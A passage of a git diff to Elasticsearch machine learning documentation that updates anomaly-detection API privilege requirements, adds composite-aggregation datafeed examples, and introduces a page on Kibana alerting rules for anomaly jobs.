`read` [[ml-put-datafeed-desc]] == {api-description-title} @@ -35,7 +36,7 @@ each interval. See {ml-docs}/ml-delayed-data-detection.html[Handling delayed dat [IMPORTANT] ==== -* You must use {kib} or this API to create a {dfeed}. Do not put a +* You must use {kib} or this API to create a {dfeed}. Do not add a {dfeed} directly to the `.ml-config` index using the {es} index API. If {es} {security-features} are enabled, do not give users `write` privileges on the `.ml-config` index. @@ -77,6 +78,10 @@ include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=frequency] (Required, array) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=indices] +`indices_options`:: +(Optional, object) +include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=indices-options] + `job_id`:: (Required, string) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection] @@ -93,6 +98,10 @@ include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=query] (Optional, <>) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=query-delay] +`runtime_mappings`:: +(Optional, object) +include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=runtime-mappings] + `script_fields`:: (Optional, object) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=script-fields] @@ -101,14 +110,6 @@ include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=script-fields] (Optional, unsigned integer) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=scroll-size] -`indices_options`:: -(Optional, object) -include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=indices-options] - -`runtime_mappings`:: -(Optional, object) -include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=runtime-mappings] - [[ml-put-datafeed-example]] == {api-examples-title} diff --git a/docs/reference/ml/anomaly-detection/apis/put-filter.asciidoc b/docs/reference/ml/anomaly-detection/apis/put-filter.asciidoc index a4c66b9ce0418..537832828e9aa 100644 --- a/docs/reference/ml/anomaly-detection/apis/put-filter.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/put-filter.asciidoc @@ -16,9 +16,8 @@ Instantiates a filter. [[ml-put-filter-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-put-filter-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/put-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/put-job.asciidoc index 2de92e45d78e2..c2a437199340b 100644 --- a/docs/reference/ml/anomaly-detection/apis/put-job.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/put-job.asciidoc @@ -16,9 +16,8 @@ Instantiates an {anomaly-job}. [[ml-put-job-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-put-job-desc]] == {api-description-title} @@ -224,7 +223,7 @@ include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=categorization-examples-limit] `model_memory_limit`::: (long or string) -include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-memory-limit] +include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-memory-limit-ad] ==== //End analysis_limits diff --git a/docs/reference/ml/anomaly-detection/apis/revert-snapshot.asciidoc b/docs/reference/ml/anomaly-detection/apis/revert-snapshot.asciidoc index cc2ddf8f5f56f..952eaa70178aa 100644 --- a/docs/reference/ml/anomaly-detection/apis/revert-snapshot.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/revert-snapshot.asciidoc @@ -17,10 +17,8 @@ Reverts to a specific snapshot. == {api-prereq-title} * Before you revert to a saved snapshot, you must close the job. -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. - +* Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-revert-snapshot-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/set-upgrade-mode.asciidoc b/docs/reference/ml/anomaly-detection/apis/set-upgrade-mode.asciidoc index 6d5bb1e641995..9c5b5a0522e7b 100644 --- a/docs/reference/ml/anomaly-detection/apis/set-upgrade-mode.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/set-upgrade-mode.asciidoc @@ -27,9 +27,8 @@ POST /_ml/set_upgrade_mode?enabled=false&timeout=10m [[ml-set-upgrade-mode-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-set-upgrade-mode-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/start-datafeed.asciidoc b/docs/reference/ml/anomaly-detection/apis/start-datafeed.asciidoc index 451634fe0b086..f651581b3c8b0 100644 --- a/docs/reference/ml/anomaly-detection/apis/start-datafeed.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/start-datafeed.asciidoc @@ -20,9 +20,8 @@ Starts one or more {dfeeds}. * Before you can start a {dfeed}, the {anomaly-job} must be open. Otherwise, an error occurs. -* If {es} {security-features} are enabled, you must have `manage_ml` or `manage` -cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +* Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-start-datafeed-desc]] == {api-description-title} @@ -30,7 +29,7 @@ cluster privileges to use this API. See A {dfeed} must be started in order to retrieve data from {es}. A {dfeed} can be started and stopped multiple times throughout its lifecycle. -When you start a {dfeed}, you can specify a start time. This enables you to +When you start a {dfeed}, you can specify a start time. This enables you to include a training period, providing you have this data available in {es}. If you want to analyze from the beginning of a dataset, you can specify any date earlier than that beginning date. @@ -41,7 +40,7 @@ available. When you start a {dfeed}, you can also specify an end time. If you do so, the job analyzes data from the start time until the end time, at which point the -analysis stops. This scenario is useful for a one-off batch analysis. If you +analysis stops. This scenario is useful for a one-off batch analysis. If you do not specify an end time, the {dfeed} runs continuously. The `start` and `end` times can be specified by using one of the diff --git a/docs/reference/ml/anomaly-detection/apis/stop-datafeed.asciidoc b/docs/reference/ml/anomaly-detection/apis/stop-datafeed.asciidoc index 8e20a23044251..feb1d6563bdb0 100644 --- a/docs/reference/ml/anomaly-detection/apis/stop-datafeed.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/stop-datafeed.asciidoc @@ -22,9 +22,8 @@ Stops one or more {dfeeds}. [[ml-stop-datafeed-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-stop-datafeed-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/update-datafeed.asciidoc b/docs/reference/ml/anomaly-detection/apis/update-datafeed.asciidoc index 6090e0de70f7a..f476721ec8a18 100644 --- a/docs/reference/ml/anomaly-detection/apis/update-datafeed.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/update-datafeed.asciidoc @@ -20,15 +20,13 @@ Updates certain properties of a {dfeed}. [[ml-update-datafeed-prereqs]] == {api-prereq-title} -* If {es} {security-features} are enabled, you must have `manage_ml`, or `manage` -cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. - +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-update-datafeed-desc]] == {api-description-title} -If you update a {dfeed} property, you must stop and start the {dfeed} for the +If you update a {dfeed} property, you must stop and start the {dfeed} for the change to be applied. IMPORTANT: When {es} {security-features} are enabled, your {dfeed} remembers @@ -70,6 +68,10 @@ include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=frequency] (Optional, array) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=indices] +`indices_options`:: +(Optional, object) +include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=indices-options] + `max_empty_searches`:: (Optional, integer) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=max-empty-searches] @@ -96,6 +98,10 @@ the results of the other job. (Optional, <>) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=query-delay] +`runtime_mappings`:: +(Optional, object) +include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=runtime-mappings] + `script_fields`:: (Optional, object) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=script-fields] @@ -104,9 +110,6 @@ include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=script-fields] (Optional, unsigned integer) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=scroll-size] -`indices_options`:: -(Optional, object) -include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=indices-options] [[ml-update-datafeed-example]] == {api-examples-title} diff --git a/docs/reference/ml/anomaly-detection/apis/update-filter.asciidoc b/docs/reference/ml/anomaly-detection/apis/update-filter.asciidoc index 51f9452e45055..1a0556d8de0da 100644 --- a/docs/reference/ml/anomaly-detection/apis/update-filter.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/update-filter.asciidoc @@ -16,9 +16,8 @@ Updates the description of a filter, adds items, or removes items. [[ml-update-filter-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-update-filter-path-parms]] == {api-path-parms-title} diff --git a/docs/reference/ml/anomaly-detection/apis/update-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/update-job.asciidoc index e5270bb47147a..5fda34d639282 100644 --- a/docs/reference/ml/anomaly-detection/apis/update-job.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/update-job.asciidoc @@ -16,10 +16,8 @@ Updates certain properties of an {anomaly-job}. [[ml-update-job-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. - +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-update-job-path-parms]] == {api-path-parms-title} @@ -53,7 +51,7 @@ include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=analysis-limits] ==== `model_memory_limit`::: (long or string) -include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-memory-limit] +include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-memory-limit-ad] + -- NOTE: You can update the `analysis_limits` only while the job is closed. The diff --git a/docs/reference/ml/anomaly-detection/apis/update-snapshot.asciidoc b/docs/reference/ml/anomaly-detection/apis/update-snapshot.asciidoc index 544bab03b9a5a..26a7df8631a8d 100644 --- a/docs/reference/ml/anomaly-detection/apis/update-snapshot.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/update-snapshot.asciidoc @@ -16,10 +16,8 @@ Updates certain properties of a snapshot. [[ml-update-snapshot-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. - +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-update-snapshot-path-parms]] == {api-path-parms-title} diff --git a/docs/reference/ml/anomaly-detection/apis/upgrade-job-model-snapshot.asciidoc b/docs/reference/ml/anomaly-detection/apis/upgrade-job-model-snapshot.asciidoc index d1e6a3b8c669d..693715407f431 100644 --- a/docs/reference/ml/anomaly-detection/apis/upgrade-job-model-snapshot.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/upgrade-job-model-snapshot.asciidoc @@ -16,9 +16,8 @@ Upgrades an {anomaly-detect} model snapshot to the latest major version. [[ml-upgrade-job-model-snapshot-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +* Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. * The upgraded snapshot must have a version matching the previous major version. * The upgraded snapshot must NOT be the current {anomaly-job} snapshot. diff --git a/docs/reference/ml/anomaly-detection/apis/validate-detector.asciidoc b/docs/reference/ml/anomaly-detection/apis/validate-detector.asciidoc index 24d29b4eec2d0..7edbdb4c1bf4b 100644 --- a/docs/reference/ml/anomaly-detection/apis/validate-detector.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/validate-detector.asciidoc @@ -16,9 +16,8 @@ Validates detector configuration information. [[ml-valid-detector-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-valid-detector-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/apis/validate-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/validate-job.asciidoc index 4506ec0d9a5a8..e10e95ccc8c05 100644 --- a/docs/reference/ml/anomaly-detection/apis/validate-job.asciidoc +++ b/docs/reference/ml/anomaly-detection/apis/validate-job.asciidoc @@ -16,9 +16,8 @@ Validates {anomaly-job} configuration information. [[ml-valid-job-prereqs]] == {api-prereq-title} -* If the {es} {security-features} are enabled, you must have `manage_ml` or -`manage` cluster privileges to use this API. See -<> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-valid-job-desc]] == {api-description-title} diff --git a/docs/reference/ml/anomaly-detection/ml-configuring-aggregations.asciidoc b/docs/reference/ml/anomaly-detection/ml-configuring-aggregations.asciidoc index bdd59e3dde9d2..155b97d0f36a5 100644 --- a/docs/reference/ml/anomaly-detection/ml-configuring-aggregations.asciidoc +++ b/docs/reference/ml/anomaly-detection/ml-configuring-aggregations.asciidoc @@ -11,57 +11,61 @@ distributes these calculations across your cluster. You can then feed this aggregated data into the {ml-features} instead of raw results, which reduces the volume of data that must be considered while detecting anomalies. -TIP: If you use a terms aggregation and the cardinality of a term is high, the -aggregation might not be effective and you might want to just use the default -search and scroll behavior. +TIP: If you use a terms aggregation and the cardinality of a term is high but +still significantly less than your total number of documents, use +{ref}/search-aggregations-bucket-composite-aggregation.html[composite aggregations] +experimental:[Support for composite aggregations inside datafeeds is currently experimental]. [discrete] [[aggs-limits-dfeeds]] == Requirements and limitations -There are some limitations to using aggregations in {dfeeds}. Your aggregation -must include a `date_histogram` aggregation, which in turn must contain a `max` -aggregation on the time field. This requirement ensures that the aggregated data -is a time series and the timestamp of each bucket is the time of the last record -in the bucket. +There are some limitations to using aggregations in {dfeeds}. -IMPORTANT: The name of the aggregation and the name of the field that the agg -operates on need to match, otherwise the aggregation doesn't work. For example, -if you use a `max` aggregation on a time field called `responsetime`, the name +Your aggregation must include a `date_histogram` aggregation or a top level `composite` aggregation, +which in turn must contain a `max` aggregation on the time field. +This requirement ensures that the aggregated data is a time series and the timestamp +of each bucket is the time of the last record in the bucket. + +IMPORTANT: The name of the aggregation and the name of the field that it +operates on need to match, otherwise the aggregation doesn't work. For example, +if you use a `max` aggregation on a time field called `responsetime`, the name of the aggregation must be also `responsetime`. -You must also consider the interval of the date histogram aggregation carefully. -The bucket span of your {anomaly-job} must be divisible by the value of the -`calendar_interval` or `fixed_interval` in your aggregation (with no remainder). -If you specify a `frequency` for your {dfeed}, it must also be divisible by this -interval. {anomaly-jobs-cap} cannot use date histograms with an interval -measured in months because the length of the month is not fixed. {dfeeds-cap} -tolerate weeks or smaller units. +You must consider the interval of the `date_histogram` or `composite` +aggregation carefully. The bucket span of your {anomaly-job} must be divisible +by the value of the `calendar_interval` or `fixed_interval` in your aggregation +(with no remainder). If you specify a `frequency` for your {dfeed}, +it must also be divisible by this interval. {anomaly-jobs-cap} cannot use +`date_histogram` or `composite` aggregations with an interval measured in months +because the length of the month is not fixed; they can use weeks or smaller units. TIP: As a rule of thumb, if your detectors use <> or -<> analytical functions, set the date histogram +<> analytical functions, set the `date_histogram` or `composite` aggregation interval to a tenth of the bucket span. This suggestion creates finer, more granular time buckets, which are ideal for this type of analysis. If your detectors use <> or <> functions, set the interval to the same value as the bucket span. -If your <> and -model plot is not enabled for the {anomaly-job}, neither the **Single Metric -Viewer** nor the **Anomaly Explorer** can plot and display an anomaly -chart for the job. In these cases, the charts are not visible and an explanatory +If your <> and +model plot is not enabled for the {anomaly-job}, neither the **Single Metric +Viewer** nor the **Anomaly Explorer** can plot and display an anomaly +chart for the job. In these cases, the charts are not visible and an explanatory message is shown. -When the aggregation interval of the {dfeed} and the bucket span of the job -don't match, the values of the chart plotted in both the **Single Metric -Viewer** and the **Anomaly Explorer** differ from the actual values of the job. -To avoid this behavior, make sure that the aggregation interval in the {dfeed} -configuration and the bucket span in the {anomaly-job} configuration have the +When the aggregation interval of the {dfeed} and the bucket span of the job +don't match, the values of the chart plotted in both the **Single Metric +Viewer** and the **Anomaly Explorer** differ from the actual values of the job. +To avoid this behavior, make sure that the aggregation interval in the {dfeed} +configuration and the bucket span in the {anomaly-job} configuration have the same values. +Your {dfeed} can contain multiple aggregations, but only the ones with names +that match values in the job configuration are fed to the job. [discrete] -[[aggs-include-jobs]] -== Including aggregations in {anomaly-jobs} +[[aggs-using-date-histogram]] +=== Including aggregations in {anomaly-jobs} When you create or update an {anomaly-job}, you can include the names of aggregations, for example: @@ -86,8 +90,8 @@ PUT _ml/anomaly_detectors/farequote ---------------------------------- // TEST[skip:setup:farequote_data] -<1> The `airline`, `responsetime`, and `time` fields are aggregations. Only the -aggregated fields defined in the `analysis_config` object are analyzed by the +<1> The `airline`, `responsetime`, and `time` fields are aggregations. Only the +aggregated fields defined in the `analysis_config` object are analyzed by the {anomaly-job}. NOTE: When the `summary_count_field_name` property is set to a non-null value, @@ -134,25 +138,135 @@ PUT _ml/datafeeds/datafeed-farequote ---------------------------------- // TEST[skip:setup:farequote_job] -<1> The aggregations have names that match the fields that they operate on. The +<1> The aggregations have names that match the fields that they operate on. The `max` aggregation is named `time` and its field also needs to be `time`. -<2> The `term` aggregation is named `airline` and its field is also named +<2> The `term` aggregation is named `airline` and its field is also named `airline`. -<3> The `avg` aggregation is named `responsetime` and its field is also named +<3> The `avg` aggregation is named `responsetime` and its field is also named `responsetime`. -Your {dfeed} can contain multiple aggregations, but only the ones with names -that match values in the job configuration are fed to the job. +TIP: If you are using a `term` aggregation to gather influencer or partition +field information, consider using a `composite` aggregation. It performs +better than a `date_histogram` with a nested `term` aggregation and also includes +all the values of the field instead of the top values per bucket. + +[discrete] +[[aggs-using-composite]] +=== Using composite aggregations in {anomaly-jobs} + +experimental::[] + +For `composite` aggregation support, there must be exactly one `date_histogram` value +source. That value source must not be sorted in descending order. Additional +`composite` aggregation value sources are allowed, such as `terms`. + +NOTE: A {dfeed} that uses composite aggregations may not be as performant as datafeeds that use scrolling or +date histogram aggregations. Composite aggregations are optimized +for queries that are either `match_all` or `range` filters. Other types of +queries may cause the `composite` aggregation to be ineffecient. + +Here is an example that uses a `composite` aggregation instead of a +`date_histogram`. + +Assuming the same job configuration as above. + +[source,console] +---------------------------------- +PUT _ml/anomaly_detectors/farequote-composite +{ + "analysis_config": { + "bucket_span": "60m", + "detectors": [{ + "function": "mean", + "field_name": "responsetime", + "by_field_name": "airline" + }], + "summary_count_field_name": "doc_count" + }, + "data_description": { + "time_field":"time" + } +} +---------------------------------- +// TEST[skip:setup:farequote_data] + +This is an example of a datafeed that uses a `composite` aggregation to bucket +the metrics based on time and terms: + +[source,console] +---------------------------------- +PUT _ml/datafeeds/datafeed-farequote-composite +{ + "job_id": "farequote-composite", + "indices": [ + "farequote" + ], + "aggregations": { + "buckets": { + "composite": { + "size": 1000, <1> + "sources": [ + { + "time_bucket": { <2> + "date_histogram": { + "field": "time", + "fixed_interval": "360s", + "time_zone": "UTC" + } + } + }, + { + "airline": { <3> + "terms": { + "field": "airline" + } + } + } + ] + }, + "aggregations": { + "time": { <4> + "max": { + "field": "time" + } + }, + "responsetime": { <5> + "avg": { + "field": "responsetime" + } + } + } + } + } +} +---------------------------------- +// TEST[skip:setup:farequote_job] +<1> Provide the `size` to the composite agg to control how many resources +are used when aggregating the data. A larger `size` means a faster datafeed but +more cluster resources are used when searching. +<2> The required `date_histogram` composite aggregation source. Make sure it +is named differently than your desired time field. +<3> Instead of using a regular `term` aggregation, adding a composite +aggregation `term` source with the name `airline` works. Note its name +is the same as the field. +<4> The required `max` aggregation whose name is the time field in the +job analysis config. +<5> The `avg` aggregation is named `responsetime` and its field is also named +`responsetime`. [discrete] [[aggs-dfeeds]] == Nested aggregations in {dfeeds} -{dfeeds-cap} support complex nested aggregations. This example uses the -`derivative` pipeline aggregation to find the first order derivative of the +{dfeeds-cap} support complex nested aggregations. This example uses the +`derivative` pipeline aggregation to find the first order derivative of the counter `system.network.out.bytes` for each value of the field `beat.name`. +NOTE: `derivative` or other pipeline aggregations may not work within `composite` +aggregations. See +{ref}/search-aggregations-bucket-composite-aggregation.html#search-aggregations-bucket-composite-aggregation-pipeline-aggregations[composite aggregations and pipeline aggregations]. + [source,js] ---------------------------------- "aggregations": { @@ -247,8 +361,9 @@ number of unique entries for the `error` field. [[aggs-define-dfeeds]] == Defining aggregations in {dfeeds} -When you define an aggregation in a {dfeed}, it must have the following form: +When you define an aggregation in a {dfeed}, it must have one of the following forms: +When using a `date_histogram` aggregation to bucket by time: [source,js] ---------------------------------- "aggregations": { @@ -282,36 +397,75 @@ When you define an aggregation in a {dfeed}, it must have the following form: ---------------------------------- // NOTCONSOLE -The top level aggregation must be either a -{ref}/search-aggregations-bucket.html[bucket aggregation] containing as single -sub-aggregation that is a `date_histogram` or the top level aggregation is the -required `date_histogram`. There must be exactly one `date_histogram` -aggregation. For more information, see -{ref}/search-aggregations-bucket-datehistogram-aggregation.html[Date histogram aggregation]. +When using a `composite` aggregation: + +[source,js] +---------------------------------- +"aggregations": { + "composite_agg": { + "sources": [ + { + "date_histogram_agg": { + "field": "time", + ...settings... + } + }, + ...other valid sources... + ], + ...composite agg settings..., + "aggregations": { + "timestamp": { + "max": { + "field": "time" + } + }, + ...other aggregations... + [ + [,"aggregations" : { + []+ + } ] + }] + } + } +} +---------------------------------- +// NOTCONSOLE + +The top level aggregation must be exclusively one of the following: +* A {ref}/search-aggregations-bucket.html[bucket aggregation] containing a single +sub-aggregation that is a `date_histogram` +* A top level aggregation that is a `date_histogram` +* A top level aggregation is a `composite` aggregation. + +There must be exactly one `date_histogram`, `composite` aggregation. For more information, see +{ref}/search-aggregations-bucket-datehistogram-aggregation.html[Date histogram aggregation] and +{ref}/search-aggregations-bucket-composite-aggregation.html[Composite aggregation]. NOTE: The `time_zone` parameter in the date histogram aggregation must be set to `UTC`, which is the default value. -Each histogram bucket has a key, which is the bucket start time. This key cannot -be used for aggregations in {dfeeds}, however, because they need to know the -time of the latest record within a bucket. Otherwise, when you restart a -{dfeed}, it continues from the start time of the histogram bucket and possibly -fetches the same data twice. The max aggregation for the time field is therefore -necessary to provide the time of the latest record within a bucket. +Each histogram or composite bucket has a key, which is the bucket start time. +This key cannot be used for aggregations in {dfeeds}, however, because +they need to know the time of the latest record within a bucket. +Otherwise, when you restart a {dfeed}, it continues from the start time of the +histogram or composite bucket and possibly fetches the same data twice. +The max aggregation for the time field is therefore necessary to provide +the time of the latest record within a bucket. You can optionally specify a terms aggregation, which creates buckets for different values of a field. IMPORTANT: If you use a terms aggregation, by default it returns buckets for the top ten terms. Thus if the cardinality of the term is greater than 10, not -all terms are analyzed. +all terms are analyzed. In this case, consider using `composite` aggregations +experimental:[Support for composite aggregations inside datafeeds is currently experimental]. You can change this behavior by setting the `size` parameter. To determine the cardinality of your data, you can run searches such as: [source,js] -------------------------------------------------- -GET .../_search +GET .../_search { "aggs": { "service_cardinality": { @@ -324,10 +478,11 @@ GET .../_search -------------------------------------------------- // NOTCONSOLE + By default, {es} limits the maximum number of terms returned to 10000. For high cardinality fields, the query might not run. It might return errors related to circuit breaking exceptions that indicate that the data is too large. In such -cases, do not use aggregations in your {dfeed}. For more information, see +cases, use `composite` aggregations in your {dfeed}. For more information, see {ref}/search-aggregations-bucket-terms-aggregation.html[Terms aggregation]. You can also optionally specify multiple sub-aggregations. The sub-aggregations diff --git a/docs/reference/ml/anomaly-detection/ml-configuring-alerts.asciidoc b/docs/reference/ml/anomaly-detection/ml-configuring-alerts.asciidoc new file mode 100644 index 0000000000000..e837d4ad36331 --- /dev/null +++ b/docs/reference/ml/anomaly-detection/ml-configuring-alerts.asciidoc @@ -0,0 +1,103 @@ +[role="xpack"] +[[ml-configuring-alerts]] += Generating alerts for {anomaly-jobs} + +beta::[] + +{kib} {alert-features} include support for {ml} rules, which run scheduled +checks on an {anomaly-job} or a group of jobs to detect anomalies with certain +conditions. If an anomaly meets the conditions, an alert is created and the +associated action is triggered. For example, you can create a rule to check an +{anomaly-job} every fifteen minutes for critical anomalies and to notify you in +an email. To learn more about {kib} {alert-features}, refer to +{kibana-ref}/alerting-getting-started.html#alerting-getting-started[Alerting and Actions]. + + +[[creating-anomaly-alert-rules]] +== Creating a rule + +You can create {ml} rules in the {anomaly-job} wizard after you start the job, +from the job list, or under **{stack-manage-app} > {alerts-ui}**. On the *Create +rule* window, select *{anomaly-detect-cap} alert* under the {ml} section, then +give a name to the rule and optionally provide tags. + +Specify the time interval for the rule to check detected anomalies. It is +recommended to select an interval that is close to the bucket span of the +associated job. You can also select a notification option by using the _Notify_ +selector. An alert remains active as long as anomalies are found for a +particular {anomaly-job} during the check interval. When there is no anomaly +found in the next interval, the `Recovered` action group is invoked and the +status of the alert changes to `OK`. For more details, refer to the +documentation of +{kibana-ref}/defining-alerts.html#defining-alerts-general-details[general rule details]. + +[role="screenshot"] +image::images/ml-anomaly-alert-type.jpg["Creating a rule for an anomaly detection alert"] + +Select the {anomaly-job} or the group of {anomaly-jobs} that is checked against +the rule. If you assign additional jobs to the group, the new jobs are +automatically checked the next time the conditions are checked. + +You can select the result type of the {anomaly-job} that is checked against the +rule. In particular, you can create rules based on bucket, record, or influencer +results. + +[role="screenshot"] +image::images/ml-anomaly-alert-severity.jpg["Selecting result type, severity, and test interval"] + +For each rule, you can configure the `anomaly_score` that triggers the action. +The `anomaly_score` indicates the significance of a given anomaly compared to +previous anomalies. The default severity threshold is 75 which means every +anomaly with an `anomaly_score` of 75 or higher triggers the associated action. + +You can select whether you want to include interim results. Interim results are +created by the {anomaly-job} before a bucket is finalized. These results might +disappear after the bucket is fully processed. Include interim results if you +want to be notified earlier about a potential anomaly even if it might be a +false positive. If you want to get notified only about anomalies of fully +processed buckets, do not include interim results. + +You can also configure advanced settings. _Lookback interval_ sets an interval +that is used to query previous anomalies during each condition check. Its value +is derived from the bucket span of the job and the query delay of the {dfeed} by +default. It is not recommended to set the lookback interval lower than the +default value as it might result in missed anomalies. _Number of latest buckets_ +sets how many buckets to check to obtain the highest anomaly from all the +anomalies that are found during the _Lookback interval_. An alert is created +based on the anomaly with the highest anomaly score from the most anomalous +bucket. + +You can also test the configured conditions against your existing data and check +the sample results by providing a valid interval for your data. The generated +preview contains the number of potentially created alerts during the relative +time range you defined. + + +[[defining-actions]] +== Defining actions + +As a next step, connect your rule to actions that use supported built-in +integrations by selecting a connector type. Connectors are {kib} services or +third-party integrations that perform an action when the rule conditions are +met. + +[role="screenshot"] +image::images/ml-anomaly-alert-actions.jpg["Selecting connector type"] + +For example, you can choose _Slack_ as a connector type and configure it to send +a message to a channel you selected. You can also create an index connector that +writes the JSON object you configure to a specific index. It's also possible to +customize the notification messages. A list of variables is available to include +in the message, like job ID, anomaly score, time, or top influencers. + +[role="screenshot"] +image::images/ml-anomaly-alert-messages.jpg["Customizing your message"] + +After you save the configurations, the rule appears in the *{alerts-ui}* list +where you can check its status and see the overview of its configuration +information. + +The name of an alert is always the same as the job ID of the associated +{anomaly-job} that triggered it. You can mute the notifications for a particular +{anomaly-job} on the page of the rule that lists the individual alerts. You can +open it via *{alerts-ui}* by selecting the rule name. diff --git a/docs/reference/ml/anomaly-detection/ml-configuring-detector-custom-rules.asciidoc b/docs/reference/ml/anomaly-detection/ml-configuring-detector-custom-rules.asciidoc index c8f1e3b54791a..2e6249fc5a199 100644 --- a/docs/reference/ml/anomaly-detection/ml-configuring-detector-custom-rules.asciidoc +++ b/docs/reference/ml/anomaly-detection/ml-configuring-detector-custom-rules.asciidoc @@ -2,8 +2,8 @@ [[ml-configuring-detector-custom-rules]] = Customizing detectors with custom rules -<> enable you to change the behavior of anomaly -detectors based on domain-specific knowledge. +<> – or _job rules_ as {kib} refers to them – enable you +to change the behavior of anomaly detectors based on domain-specific knowledge. Custom rules describe _when_ a detector should take a certain _action_ instead of following its default behavior. To specify the _when_ a rule uses @@ -127,21 +127,20 @@ PUT _ml/anomaly_detectors/scoping_multiple_fields ---------------------------------- // TEST[skip:needs-licence] -Such a detector will skip results when the values of all 3 scoped fields -are included in the referenced filters. +Such a detector skips results when the values of all three scoped fields are +included in the referenced filters. [[ml-custom-rules-conditions]] == Specifying custom rule conditions -Imagine a detector that looks for anomalies in CPU utilization. -Given a machine that is idle for long enough, small movement in CPU could -result in anomalous results where the `actual` value is quite small, for -example, 0.02. Given our knowledge about how CPU utilization behaves we might -determine that anomalies with such small actual values are not interesting for -investigation. +Imagine a detector that looks for anomalies in CPU utilization. Given a machine +that is idle for long enough, small movement in CPU could result in anomalous +results where the `actual` value is quite small, for example, 0.02. Given our +knowledge about how CPU utilization behaves we might determine that anomalies +with such small actual 